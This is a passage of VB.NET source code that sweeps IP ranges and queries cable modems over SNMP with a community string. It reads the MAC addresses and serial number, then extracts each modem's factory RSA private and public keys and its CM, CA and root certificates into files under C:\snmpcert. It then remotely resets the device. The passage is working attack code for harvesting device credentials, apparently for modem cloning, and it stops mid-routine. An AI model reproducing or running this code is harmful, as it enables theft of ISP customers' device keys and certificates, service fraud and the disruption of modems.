  4493.                 If Not mymac1.HasExited Then
  4494.                     mymac1.Kill()
  4495.                 End If
  4496.                 sInm.Close()
  4497.                 sOutm.Close()
  4498.                 sErrm.Close()
  4499.                 mymac1.Close()
  4500.                 Dim tempm As String = ""
  4501.                 tempm = Replace(check_cannot_find_module(sm), "STRING: ", Nothing)
  4502.                 tempm = Replace(tempm, "Hex-", Nothing)
  4503.                 tempm = Replace(tempm, Chr(34), Nothing)
  4504.                 tempm = Replace(tempm, ":", Nothing)
  4505.                 tempm = Replace(tempm, " ", Nothing)
  4506.                 temp = Replace(temp, vbCrLf, Nothing)
  4507.                 tempm = Replace(tempm, vbCrLf, Nothing)
  4508.                 Dim usbmac As Process = New Process
  4509.                 Dim sm1 As String
  4510.                 usbmac.StartInfo.FileName = x
  4511.                 usbmac.StartInfo.UseShellExecute = False
  4512.                 usbmac.StartInfo.CreateNoWindow = True
  4513.                 usbmac.StartInfo.RedirectStandardInput = True
  4514.                 usbmac.StartInfo.RedirectStandardOutput = True
  4515.                 usbmac.StartInfo.RedirectStandardError = True
  4516.                 usbmac.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.60.0"
  4517.                 usbmac.Start()
  4518.                 Dim sInm1 As StreamWriter = usbmac.StandardInput
  4519.                 sInm1.AutoFlush = True
  4520.                 Dim sOutm1 As StreamReader = usbmac.StandardOutput
  4521.                 Dim sErrm1 As StreamReader = usbmac.StandardError
  4522.                 sm1 = sOutm1.ReadToEnd()
  4523.                 If Not usbmac.HasExited Then
  4524.                     usbmac.Kill()
  4525.                 End If
  4526.                 sInm1.Close()
  4527.                 sOutm1.Close()
  4528.                 sErrm1.Close()
  4529.                 usbmac.Close()
  4530.                 Dim tempum As String = ""
  4531.                 tempum = Replace(check_cannot_find_module(sm1), "STRING: ", Nothing)
  4532.                 tempum = Replace(tempum, "Hex-", Nothing)
  4533.                 tempum = Replace(tempum, Chr(34), Nothing)
  4534.                 tempum = Replace(tempum, ":", Nothing)
  4535.                 tempum = Replace(tempum, " ", Nothing)
  4536.                 tempum = Replace(tempum, vbCrLf, Nothing)
  4537.                 Directory.CreateDirectory("C:\snmpcert\" & temp)
  4538.                 Directory.CreateDirectory("C:\snmpcert\" & temp & "\" & tempm)
  4539.                 'get SERIAL number
  4540.                 Dim myProcessSER As Process = New Process
  4541.                 Dim sSER As String
  4542.                 myProcessSER.StartInfo.FileName = x
  4543.                 myProcessSER.StartInfo.UseShellExecute = False
  4544.                 myProcessSER.StartInfo.CreateNoWindow = True
  4545.                 myProcessSER.StartInfo.RedirectStandardInput = True
  4546.                 myProcessSER.StartInfo.RedirectStandardOutput = True
  4547.                 myProcessSER.StartInfo.RedirectStandardError = True
  4548.                 myProcessSER.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.6.0"
  4549.                 myProcessSER.Start()
  4550.                 Dim sInSER As StreamWriter = myProcessSER.StandardInput
  4551.                 sInSER.AutoFlush = True
  4552.                 Dim sOutSER As StreamReader = myProcessSER.StandardOutput
  4553.                 Dim sErrSER As StreamReader = myProcessSER.StandardError
  4554.                 sSER = sOutSER.ReadToEnd()
  4555.                 If Not myProcessSER.HasExited Then
  4556.                     myProcessSER.Kill()
  4557.                 End If
  4558.                 sInSER.Close()
  4559.                 sOutSER.Close()
  4560.                 sErrSER.Close()
  4561.                 myProcessSER.Close()
  4562.                 Dim tempSER As String
  4563.                 tempSER = Replace(check_cannot_find_module(sSER), "STRING: ", Nothing)
  4564.                 tempSER = Replace(tempSER, "Hex-", Nothing)
  4565.                 tempSER = Replace(tempSER, Chr(34), Nothing)
  4566.  
  4567.  
  4568.  
  4569.  
  4570.  
  4571.  
  4572.                 'get download speed
  4573.  
  4574.                 Dim myProcessspeedd As Process = New Process
  4575.                 Dim sspeedd As String
  4576.                 myProcessspeedd.StartInfo.FileName = x
  4577.                 myProcessspeedd.StartInfo.UseShellExecute = False
  4578.                 myProcessspeedd.StartInfo.CreateNoWindow = True
  4579.                 myProcessspeedd.StartInfo.RedirectStandardInput = True
  4580.                 myProcessspeedd.StartInfo.RedirectStandardOutput = True
  4581.                 myProcessspeedd.StartInfo.RedirectStandardError = True
  4582.                 myProcessspeedd.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.10.127.7.1.2.2.6.2.16706.1"
  4583.                 myProcessspeedd.Start()
  4584.  
  4585.  
  4586.                 Dim sInSpeedd As StreamWriter = myProcessspeedd.StandardInput
  4587.                 sInSpeedd.AutoFlush = True
  4588.                 Dim sOutSpeedd As StreamReader = myProcessspeedd.StandardOutput
  4589.                 Dim sErrSpeedd As StreamReader = myProcessspeedd.StandardError
  4590.                 sspeedd = sOutSpeedd.ReadToEnd()
  4591.                 If Not myProcessspeedd.HasExited Then
  4592.                     myProcessspeedd.Kill()
  4593.                 End If
  4594.                 sInSpeedd.Close()
  4595.                 sOutSpeedd.Close()
  4596.                 sErrSpeedd.Close()
  4597.                 myProcessspeedd.Close()
  4598.                 Dim tempSpeedd As String
  4599.                 tempSpeedd = Replace(check_cannot_find_module(sspeedd), "Gauge32: ", Nothing)
  4600.                 tempSpeedd = Replace(tempSpeedd, "Hex-", Nothing)
  4601.                 tempSpeedd = Replace(tempSpeedd, Chr(34), Nothing)
  4602.                 tempSpeedd = Replace(tempSpeedd, vbCrLf, Nothing)
  4603.                 'get upload speed
  4604.                 Dim myProcessspeedu As Process = New Process
  4605.                 Dim sspeedu As String
  4606.                 myProcessspeedu.StartInfo.FileName = x
  4607.                 myProcessspeedu.StartInfo.UseShellExecute = False
  4608.                 myProcessspeedu.StartInfo.CreateNoWindow = True
  4609.                 myProcessspeedu.StartInfo.RedirectStandardInput = True
  4610.                 myProcessspeedu.StartInfo.RedirectStandardOutput = True
  4611.                 myProcessspeedu.StartInfo.RedirectStandardError = True
  4612.                 myProcessspeedu.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.10.127.7.1.2.2.6.2.16717.1"
  4613.                 myProcessspeedu.Start()
  4614.                 Dim sInSpeedu As StreamWriter = myProcessspeedu.StandardInput
  4615.                 sInSpeedu.AutoFlush = True
  4616.                 Dim sOutSpeedu As StreamReader = myProcessspeedu.StandardOutput
  4617.                 Dim sErrSpeedu As StreamReader = myProcessspeedu.StandardError
  4618.                 sspeedu = sOutSpeedu.ReadToEnd()
  4619.                 If Not myProcessspeedu.HasExited Then
  4620.                     myProcessspeedu.Kill()
  4621.                 End If
  4622.                 sInSpeedu.Close()
  4623.                 sOutSpeedu.Close()
  4624.                 sErrSpeedu.Close()
  4625.                 myProcessspeedu.Close()
  4626.                 Dim tempSpeedu As String
  4627.                 tempSpeedu = Replace(check_cannot_find_module(sspeedu), "Gauge32: ", Nothing)
  4628.                 tempSpeedu = Replace(tempSpeedu, "Hex-", Nothing)
  4629.                 tempSpeedu = Replace(tempSpeedu, Chr(34), Nothing)
  4630.  
  4631.  
  4632.                 If tempSpeedd = "No Such Instance currently exists at this OID" Then
  4633.                     'get download speed doccis 1.1 +
  4634.                     Dim myProcessspeedd1 As Process = New Process
  4635.                     Dim sspeedd1 As String
  4636.                     myProcessspeedd1.StartInfo.FileName = "C:\snmpcert\snmpwalk.exe"
  4637.                     myProcessspeedd1.StartInfo.UseShellExecute = False
  4638.                     myProcessspeedd1.StartInfo.CreateNoWindow = True
  4639.                     myProcessspeedd1.StartInfo.RedirectStandardInput = True
  4640.                     myProcessspeedd1.StartInfo.RedirectStandardOutput = True
  4641.                     myProcessspeedd1.StartInfo.RedirectStandardError = True
  4642.                     myProcessspeedd1.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.10.127.7.1.2.2.6.2"
  4643.                     myProcessspeedd1.Start()
  4644.  
  4645.  
  4646.                     Dim sInSpeedd1 As StreamWriter = myProcessspeedd1.StandardInput
  4647.                     sInSpeedd1.AutoFlush = True
  4648.                     Dim sOutSpeedd1 As StreamReader = myProcessspeedd1.StandardOutput
  4649.                     Dim sErrSpeedd1 As StreamReader = myProcessspeedd1.StandardError
  4650.                     sspeedd1 = sOutSpeedd1.ReadToEnd()
  4651.                     If Not myProcessspeedd1.HasExited Then
  4652.                         myProcessspeedd1.Kill()
  4653.                     End If
  4654.                     sInSpeedd1.Close()
  4655.                     sOutSpeedd1.Close()
  4656.                     sErrSpeedd1.Close()
  4657.                     myProcessspeedd1.Close()
  4658.                     Dim tempSpeedd1 As String
  4659.                     tempSpeedd1 = Replace(check_cannot_find_module(sspeedd1), "Gauge32: ", Nothing)
  4660.                     tempSpeedd1 = Replace(tempSpeedd1, "Hex-", Nothing)
  4661.                     tempSpeedd1 = Replace(tempSpeedd1, Chr(34), Nothing)
  4662.                     tempSpeedd = tempSpeedd1
  4663.  
  4664.                     Dim testing As String
  4665.                     testing = Replace(tempSpeedd1, vbCrLf, ",")
  4666.                     ''MsgBox(testing)
  4667.                     Dim split As String()
  4668.                     split = testing.Split(",")
  4669.                     tempSpeedd = split(0).ToString
  4670.                     tempSpeedu = split(4).ToString
  4671.                     ''MsgBox(tempSpeedd)
  4672.                     ''MsgBox(tempSpeedu)
  4673.                 End If
  4674.  
  4675.  
  4676.  
  4677.                 Dim oFileSER As System.IO.File
  4678.                 Dim oWriteSER As System.IO.StreamWriter
  4679.                 Dim filedirSER As String = "C:\snmpcert\" & temp & "\" & tempm & "\cminfo.txt"
  4680.                 oWriteSER = oFileSER.CreateText(filedirSER)
  4681.                 oWriteSER.WriteLine("modem's ip was:" & modem_ip & vbCrLf & "mac was : " & tempm & vbCrLf & "usb mac was:" & tempum & vbCrLf & "modem's serial was: " & tempSER & "modem's upload speed was:" & tempSpeedd.ToString & vbCrLf & "modem's download speed was:" & tempSpeedu.ToString)
  4682.                 oWriteSER.Close()
  4683.  
  4684.                 Dim filetodelete As String
  4685.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\ca.cer"
  4686.                 If System.IO.File.Exists(filetodelete) = True Then
  4687.                     System.IO.File.Delete(filetodelete)
  4688.                 End If
  4689.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\CM.cer"
  4690.                 If System.IO.File.Exists(filetodelete) = True Then
  4691.                     System.IO.File.Delete(filetodelete)
  4692.                 End If
  4693.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\private.Key"
  4694.                 If System.IO.File.Exists(filetodelete) = True Then
  4695.                     System.IO.File.Delete(filetodelete)
  4696.                 End If
  4697.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\Public.key"
  4698.                 If System.IO.File.Exists(filetodelete) = True Then
  4699.                     System.IO.File.Delete(filetodelete)
  4700.                 End If
  4701.  
  4702.                 filetodelete = "C:\snmpcert\" & temp & "\" & tempm & "\root.key"
  4703.                 If System.IO.File.Exists(filetodelete) = True Then
  4704.                     System.IO.File.Delete(filetodelete)
  4705.                 End If
  4706.  
  4707.  
  4708.  
  4709.  
  4710.  
  4711.  
  4712.  
  4713.                 'get cmFactoryRSAPublicKey.txt
  4714.                 Dim myProcess1 As Process = New Process
  4715.                 Dim s1 As String
  4716.                 myProcess1.StartInfo.FileName = x
  4717.                 myProcess1.StartInfo.UseShellExecute = False
  4718.                 myProcess1.StartInfo.CreateNoWindow = True
  4719.                 myProcess1.StartInfo.RedirectStandardInput = True
  4720.                 myProcess1.StartInfo.RedirectStandardOutput = True
  4721.                 myProcess1.StartInfo.RedirectStandardError = True
  4722.                 myProcess1.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.50.0"
  4723.                 myProcess1.Start()
  4724.                 Dim sIn1 As StreamWriter = myProcess1.StandardInput
  4725.                 sIn1.AutoFlush = True
  4726.                 Dim sOut1 As StreamReader = myProcess1.StandardOutput
  4727.                 Dim sErr1 As StreamReader = myProcess1.StandardError
  4728.                 s1 = sOut1.ReadToEnd()
  4729.                 If Not myProcess1.HasExited Then
  4730.                     myProcess1.Kill()
  4731.                 End If
  4732.                 sIn1.Close()
  4733.                 sOut1.Close()
  4734.                 sErr1.Close()
  4735.                 myProcess1.Close()
  4736.                 Dim temp1 As String
  4737.                 temp1 = Replace(check_cannot_find_module(s1), "STRING: ", Nothing)
  4738.                 temp1 = Replace(temp1, "Hex-", Nothing)
  4739.                 temp1 = Replace(temp1, Chr(34), Nothing)
  4740.                 Dim oFile As System.IO.File
  4741.                 Dim oWrite As System.IO.StreamWriter
  4742.                 If File.Exists("C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPublic.txt") Then
  4743.                     File.Delete("C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPublic.txt")
  4744.                 End If
  4745.                 Dim filedir As String = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPublic.txt"
  4746.                 oWrite = oFile.CreateText(filedir)
  4747.                 oWrite.WriteLine(temp1)
  4748.                 oWrite.Close()
  4749.                 Dim bytelist1 As String()
  4750.                 Dim templist1 As String
  4751.                 templist1 = Replace(temp1, vbCrLf, " ")
  4752.                 templist1 = templist1.Remove(templist1.Length - 1, 1)
  4753.                 templist1 = Replace(templist1, " ", ",")
  4754.                 templist1 = Replace(templist1, ",,", ",")
  4755.                 bytelist1 = Split(templist1, ",")
  4756.                 Dim coutner1 As Integer
  4757.                 coutner1 = 2
  4758.                 Dim countback1 As Integer = bytelist1.Length - 2
  4759.                 Dim countup1 As Integer = 1
  4760.                 Dim watchvar1 As Integer = 0
  4761.                 While countback1 >= 0
  4762.                     If bytelist1(countback1).ToString = "00" AndAlso watchvar1 = 0 Then
  4763.                         countup1 += 1
  4764.                     Else
  4765.                         watchvar1 = 1
  4766.                     End If
  4767.                     countback1 -= 1
  4768.                 End While
  4769.                 While coutner1 < bytelist1.Length - countup1
  4770.                     Dim byteData As Byte = CInt("&H" & bytelist1(coutner1).ToString)
  4771.                     Dim oFileStream1 As System.IO.FileStream
  4772.                     oFileStream1 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\Public.Key", System.IO.FileMode.Append)
  4773.                     oFileStream1.WriteByte(byteData)
  4774.                     oFileStream1.Close()
  4775.                     coutner1 += 1
  4776.                 End While
  4777.                 'get cmFactoryRSAPrivateKey.txt
  4778.                 Dim myProcess2 As Process = New Process
  4779.                 Dim s2 As String
  4780.                 myProcess2.StartInfo.FileName = x
  4781.                 myProcess2.StartInfo.UseShellExecute = False
  4782.                 myProcess2.StartInfo.CreateNoWindow = True
  4783.                 myProcess2.StartInfo.RedirectStandardInput = True
  4784.                 myProcess2.StartInfo.RedirectStandardOutput = True
  4785.                 myProcess2.StartInfo.RedirectStandardError = True
  4786.                 myProcess2.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.51.0"
  4787.                 myProcess2.Start()
  4788.                 Dim sIn2 As StreamWriter = myProcess2.StandardInput
  4789.                 sIn2.AutoFlush = True
  4790.                 Dim sOut2 As StreamReader = myProcess2.StandardOutput
  4791.                 Dim sErr2 As StreamReader = myProcess2.StandardError
  4792.                 s2 = sOut2.ReadToEnd()
  4793.                 If Not myProcess2.HasExited Then
  4794.                     myProcess2.Kill()
  4795.                 End If
  4796.                 sIn2.Close()
  4797.                 sOut2.Close()
  4798.                 sErr2.Close()
  4799.                 myProcess2.Close()
  4800.                 Dim temp2 As String
  4801.                 temp2 = Replace(check_cannot_find_module(s2), "STRING: ", "")
  4802.                 temp2 = Replace(temp2, "Hex-", "")
  4803.                 temp2 = Replace(temp2, Chr(34), "")
  4804.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRSAPrivateKey.txt"
  4805.                 oWrite = oFile.CreateText(filedir)
  4806.                 oWrite.WriteLine(temp2)
  4807.                 oWrite.Close()
  4808.                 Dim bytelist2 As String()
  4809.                 Dim templist2 As String
  4810.                 templist2 = Replace(temp2, vbCrLf, " ")
  4811.                 templist2 = templist2.Remove(templist2.Length - 1, 1)
  4812.                 templist2 = Replace(templist2, " ", ",")
  4813.                 templist2 = Replace(templist2, ",,", ",")
  4814.                 bytelist2 = Split(templist2, ",")
  4815.                 Dim coutner2 As Integer
  4816.                 coutner2 = 2
  4817.                 Dim countback2 As Integer = bytelist2.Length - 2
  4818.                 Dim countup2 As Integer = 1
  4819.                 Dim watchvar2 As Integer = 0
  4820.                 While countback2 >= 0
  4821.                     If bytelist2(countback2).ToString = "00" AndAlso watchvar2 = 0 Then
  4822.                         countup2 += 1
  4823.                     Else
  4824.                         watchvar2 = 1
  4825.                     End If
  4826.                     countback2 -= 1
  4827.                 End While
  4828.                 While coutner2 < bytelist2.Length - countup2
  4829.                     Dim byteData2 As Byte = CInt("&H" & bytelist2(coutner2).ToString)
  4830.                     Dim oFileStream2 As System.IO.FileStream
  4831.                     oFileStream2 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\private.Key", System.IO.FileMode.Append)
  4832.                     oFileStream2.WriteByte(byteData2)
  4833.                     oFileStream2.Close()
  4834.                     coutner2 += 1
  4835.                 End While
  4836.                 'get cmFactoryCMCertificate.txt
  4837.                 Dim myProcess3 As Process = New Process
  4838.                 Dim s3 As String
  4839.                 myProcess3.StartInfo.FileName = x
  4840.                 myProcess3.StartInfo.UseShellExecute = False
  4841.                 myProcess3.StartInfo.CreateNoWindow = True
  4842.                 myProcess3.StartInfo.RedirectStandardInput = True
  4843.                 myProcess3.StartInfo.RedirectStandardOutput = True
  4844.                 myProcess3.StartInfo.RedirectStandardError = True
  4845.                 myProcess3.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.52.0"
  4846.                 myProcess3.Start()
  4847.                 Dim sIn3 As StreamWriter = myProcess3.StandardInput
  4848.                 sIn3.AutoFlush = True
  4849.                 Dim sOut3 As StreamReader = myProcess3.StandardOutput
  4850.                 Dim sErr3 As StreamReader = myProcess3.StandardError
  4851.                 s3 = sOut3.ReadToEnd()
  4852.                 If Not myProcess3.HasExited Then
  4853.                     myProcess3.Kill()
  4854.                 End If
  4855.                 sIn3.Close()
  4856.                 sOut3.Close()
  4857.                 sErr3.Close()
  4858.                 myProcess3.Close()
  4859.                 Dim temp3 As String
  4860.  
  4861.                 temp3 = Replace(check_cannot_find_module(s3), "STRING: ", "")
  4862.                 temp3 = Replace(temp3, "Hex-", "")
  4863.                 temp3 = Replace(temp3, Chr(34), "")
  4864.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryCMCertificate.txt"
  4865.                 oWrite = oFile.CreateText(filedir)
  4866.                 oWrite.WriteLine(temp3)
  4867.                 oWrite.Close()
  4868.                 Dim bytelist3 As String()
  4869.                 Dim templist3 As String
  4870.                 templist3 = Replace(temp3, vbCrLf, " ")
  4871.                 templist3 = templist3.Remove(templist3.Length - 1, 1)
  4872.                 templist3 = Replace(templist3, " ", ",")
  4873.                 templist3 = Replace(templist3, ",,", ",")
  4874.                 bytelist3 = Split(templist3, ",")
  4875.                 Dim coutner3 As Integer
  4876.                 coutner3 = 2
  4877.                 Dim countback3 As Integer = bytelist3.Length - 2
  4878.                 Dim countup3 As Integer = 1
  4879.                 Dim watchvar3 As Integer = 0
  4880.                 While countback3 >= 0
  4881.                     If bytelist3(countback3).ToString = "00" And watchvar3 = 0 Then
  4882.                         countup3 += 1
  4883.                     Else
  4884.                         watchvar3 = 1
  4885.                     End If
  4886.                     countback3 -= 1
  4887.                 End While
  4888.                 While coutner3 < bytelist3.Length - countup3
  4889.                     Dim byteData3 As Byte = CInt("&H" & bytelist3(coutner3).ToString)
  4890.                     Dim oFileStream3 As System.IO.FileStream
  4891.                     oFileStream3 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\CM.cer", System.IO.FileMode.Append)
  4892.                     oFileStream3.WriteByte(byteData3)
  4893.                     oFileStream3.Close()
  4894.                     coutner3 = coutner3 + 1
  4895.                 End While
  4896.                 'get cmFactoryCaCertificate.txt
  4897.                 Dim myProcess4 As Process = New Process
  4898.                 Dim s4 As String
  4899.                 myProcess4.StartInfo.FileName = x
  4900.                 myProcess4.StartInfo.UseShellExecute = False
  4901.                 myProcess4.StartInfo.CreateNoWindow = True
  4902.                 myProcess4.StartInfo.RedirectStandardInput = True
  4903.                 myProcess4.StartInfo.RedirectStandardOutput = True
  4904.                 myProcess4.StartInfo.RedirectStandardError = True
  4905.                 myProcess4.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.53.0"
  4906.                 myProcess4.Start()
  4907.                 Dim sIn4 As StreamWriter = myProcess4.StandardInput
  4908.                 sIn4.AutoFlush = True
  4909.                 Dim sOut4 As StreamReader = myProcess4.StandardOutput
  4910.                 Dim sErr4 As StreamReader = myProcess4.StandardError
  4911.                 s4 = sOut4.ReadToEnd()
  4912.                 If Not myProcess4.HasExited Then
  4913.                     myProcess4.Kill()
  4914.                 End If
  4915.                 sIn4.Close()
  4916.                 sOut4.Close()
  4917.                 sErr4.Close()
  4918.                 myProcess4.Close()
  4919.                 Dim temp4 As String
  4920.                 temp4 = Replace(check_cannot_find_module(s4), "STRING: ", "")
  4921.                 temp4 = Replace(temp4, "Hex-", "")
  4922.                 temp4 = Replace(temp4, Chr(34), "")
  4923.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryCACertificate.txt"
  4924.                 oWrite = oFile.CreateText(filedir)
  4925.                 oWrite.WriteLine(temp4)
  4926.                 oWrite.Close()
  4927.                 Dim bytelist4 As String()
  4928.                 Dim templist4 As String
  4929.                 templist4 = Replace(temp4, vbCrLf, " ")
  4930.                 templist4 = templist4.Remove(templist4.Length - 1, 1)
  4931.                 templist4 = Replace(templist4, " ", ",")
  4932.                 templist4 = Replace(templist4, ",,", ",")
  4933.                 bytelist4 = Split(templist4, ",")
  4934.                 Dim coutner4 As Integer
  4935.                 coutner4 = 2
  4936.                 Dim countback4 As Integer = bytelist4.Length - 2
  4937.                 Dim countup4 As Integer = 1
  4938.                 Dim watchvar4 As Integer = 0
  4939.                 While countback4 >= 0
  4940.                     If bytelist4(countback4).ToString = "00" And watchvar4 = 0 Then
  4941.                         countup4 = countup4 + 1
  4942.                     Else
  4943.                         watchvar4 = 1
  4944.                     End If
  4945.                     countback4 = countback4 - 1
  4946.                 End While
  4947.                 While coutner4 < bytelist4.Length - countup4
  4948.                     Dim byteData4 As Byte = CInt("&H" & bytelist4(coutner4).ToString)
  4949.                     Dim oFileStream4 As System.IO.FileStream
  4950.                     oFileStream4 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\ca.cer", System.IO.FileMode.Append)
  4951.                     oFileStream4.WriteByte(byteData4)
  4952.                     oFileStream4.Close()
  4953.                     coutner4 = coutner4 + 1
  4954.                 End While
  4955.                 'get cmFactoryRootCertificate.txt
  4956.                 Dim myProcess5 As Process = New Process
  4957.                 Dim s5 As String
  4958.                 myProcess5.StartInfo.FileName = x
  4959.                 myProcess5.StartInfo.UseShellExecute = False
  4960.                 myProcess5.StartInfo.CreateNoWindow = True
  4961.                 myProcess5.StartInfo.RedirectStandardInput = True
  4962.                 myProcess5.StartInfo.RedirectStandardOutput = True
  4963.                 myProcess5.StartInfo.RedirectStandardError = True
  4964.                 myProcess5.StartInfo.Arguments = "-v2c -O v -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.54.0"
  4965.                 myProcess5.Start()
  4966.                 Dim sIn5 As StreamWriter = myProcess5.StandardInput
  4967.                 sIn5.AutoFlush = True
  4968.                 Dim sOut5 As StreamReader = myProcess5.StandardOutput
  4969.                 Dim sErr5 As StreamReader = myProcess5.StandardError
  4970.                 s5 = sOut5.ReadToEnd()
  4971.                 If Not myProcess5.HasExited Then
  4972.                     myProcess5.Kill()
  4973.                 End If
  4974.                 sIn5.Close()
  4975.                 sOut5.Close()
  4976.                 sErr5.Close()
  4977.                 myProcess5.Close()
  4978.                 Dim temp5 As String
  4979.  
  4980.                 temp5 = Replace(check_cannot_find_module(s5), "STRING: ", "")
  4981.                 temp5 = Replace(temp5, "Hex-", "")
  4982.                 temp5 = Replace(temp5, Chr(34), "")
  4983.                 filedir = "C:\snmpcert\" & temp & "\" & tempm & "\cmFactoryRootCertificate.txt"
  4984.                 oWrite = oFile.CreateText(filedir)
  4985.                 oWrite.WriteLine(temp5)
  4986.                 oWrite.Close()
  4987.                 Dim bytelist5 As String()
  4988.                 Dim templist5 As String
  4989.                 templist5 = Replace(temp5, vbCrLf, " ")
  4990.                 templist5 = templist5.Remove(templist5.Length - 1, 1)
  4991.                 templist5 = Replace(templist5, " ", ",")
  4992.                 templist5 = Replace(templist5, ",,", ",")
  4993.                 bytelist5 = Split(templist5, ",")
  4994.                 Dim coutner5 As Integer
  4995.                 coutner5 = 2
  4996.                 Dim countback5 As Integer = bytelist5.Length - 2
  4997.                 Dim countup5 As Integer = 1
  4998.                 Dim watchvar5 As Integer = 0
  4999.                 While countback5 >= 0
  5000.                     If bytelist5(countback5).ToString = "00" And watchvar5 = 0 Then
  5001.                         countup5 = countup5 + 1
  5002.                     Else
  5003.                         watchvar5 = 1
  5004.                     End If
  5005.                     countback5 = countback5 - 1
  5006.                 End While
  5007.                 While coutner5 < bytelist5.Length - countup5
  5008.                     Dim byteData5 As Byte = CInt("&H" & bytelist5(coutner5).ToString)
  5009.                     Dim oFileStream5 As System.IO.FileStream
  5010.                     oFileStream5 = New System.IO.FileStream("C:\snmpcert\" & temp & "\" & tempm & "\root.Key", System.IO.FileMode.Append)
  5011.                     oFileStream5.WriteByte(byteData5)
  5012.                     oFileStream5.Close()
  5013.                     coutner5 = coutner5 + 1
  5014.                 End While
  5015.  
  5016.                 x = "C:\snmpcert\snmpset.exe"
  5017.                 Dim myProcess6 As Process = New Process
  5018.                 Dim s6 As String
  5019.                 myProcess6.StartInfo.FileName = x
  5020.                 myProcess6.StartInfo.UseShellExecute = False
  5021.                 myProcess6.StartInfo.CreateNoWindow = True
  5022.                 myProcess6.StartInfo.RedirectStandardInput = True
  5023.                 myProcess6.StartInfo.RedirectStandardOutput = True
  5024.                 myProcess6.StartInfo.RedirectStandardError = True
  5025.                 myProcess6.StartInfo.Arguments = "-v2c -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.29.0"
  5026.                 myProcess6.Start()
  5027.                 Dim sIn6 As StreamWriter = myProcess6.StandardInput
  5028.                 sIn6.AutoFlush = True
  5029.                 Dim sOut6 As StreamReader = myProcess6.StandardOutput
  5030.                 Dim sErr6 As StreamReader = myProcess6.StandardError
  5031.                 s6 = sOut6.ReadToEnd()
  5032.                 If Not myProcess6.HasExited Then
  5033.                     myProcess6.Kill()
  5034.                 End If
  5035.                 sIn6.Close()
  5036.                 sOut6.Close()
  5037.                 sErr6.Close()
  5038.                 myProcess6.Close()
  5039.                 Dim myProcess7 As Process = New Process
  5040.                 Dim s7 As String
  5041.                 myProcess7.StartInfo.FileName = x
  5042.                 myProcess7.StartInfo.UseShellExecute = False
  5043.                 myProcess7.StartInfo.CreateNoWindow = True
  5044.                 myProcess7.StartInfo.RedirectStandardInput = True
  5045.                 myProcess7.StartInfo.RedirectStandardOutput = True
  5046.                 myProcess7.StartInfo.RedirectStandardError = True
  5047.                 myProcess7.StartInfo.Arguments = "-v2c -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.2.1.69.1.1.3.0 i 1"
  5048.                 myProcess7.Start()
  5049.                 Dim sIn7 As StreamWriter = myProcess7.StandardInput
  5050.                 sIn7.AutoFlush = True
  5051.                 Dim sOut7 As StreamReader = myProcess7.StandardOutput
  5052.                 Dim sErr7 As StreamReader = myProcess7.StandardError
  5053.                 s7 = sOut7.ReadToEnd()
  5054.                 If Not myProcess7.HasExited Then
  5055.                     myProcess7.Kill()
  5056.                 End If
  5057.                 sIn7.Close()
  5058.                 sOut7.Close()
  5059.                 sErr7.Close()
  5060.                 myProcess7.Close()
  5061.  
  5062.                 Timer1.Enabled = True
  5063.             Catch ex As Exception
  5064.                 Exit Sub
  5065.             End Try
  5066.         End If
  5067.     End Sub
  5068.     Sub check7(ByVal ip0 As Integer, ByVal ip1 As Integer, ByVal ip2 As Integer)
  5069.         Dim modem_ip As String = octet4.ToString & "." & ip0.ToString & "." & ip1.ToString & "." & ip2
  5070.         Dim x = "C:\snmpcert\snmpget.exe"
  5071.         Dim myProcess As Process = New Process
  5072.         Dim s As String = ""
  5073.         myProcess.StartInfo.FileName = x
  5074.         myProcess.StartInfo.UseShellExecute = False
  5075.         myProcess.StartInfo.CreateNoWindow = True
  5076.         myProcess.StartInfo.RedirectStandardInput = True
  5077.         myProcess.StartInfo.RedirectStandardOutput = True
  5078.         myProcess.StartInfo.RedirectStandardError = True
  5079.         myProcess.StartInfo.Arguments = "-v2c -O v -r 2 -c " & community_string & " " & modem_ip & ":" & portsnmp.Text & " 1.3.6.1.4.1.1166.1.19.4.1.0"
  5080.         myProcess.Start()
  5081.         Dim sIn As StreamWriter = myProcess.StandardInput
  5082.         sIn.AutoFlush = True
  5083.         Dim sOut As StreamReader = myProcess.StandardOutput
  5084.         Dim sErr As StreamReader = myProcess.StandardError
  5085.  
  5086.  
  5087.         s = sOut.ReadToEnd()
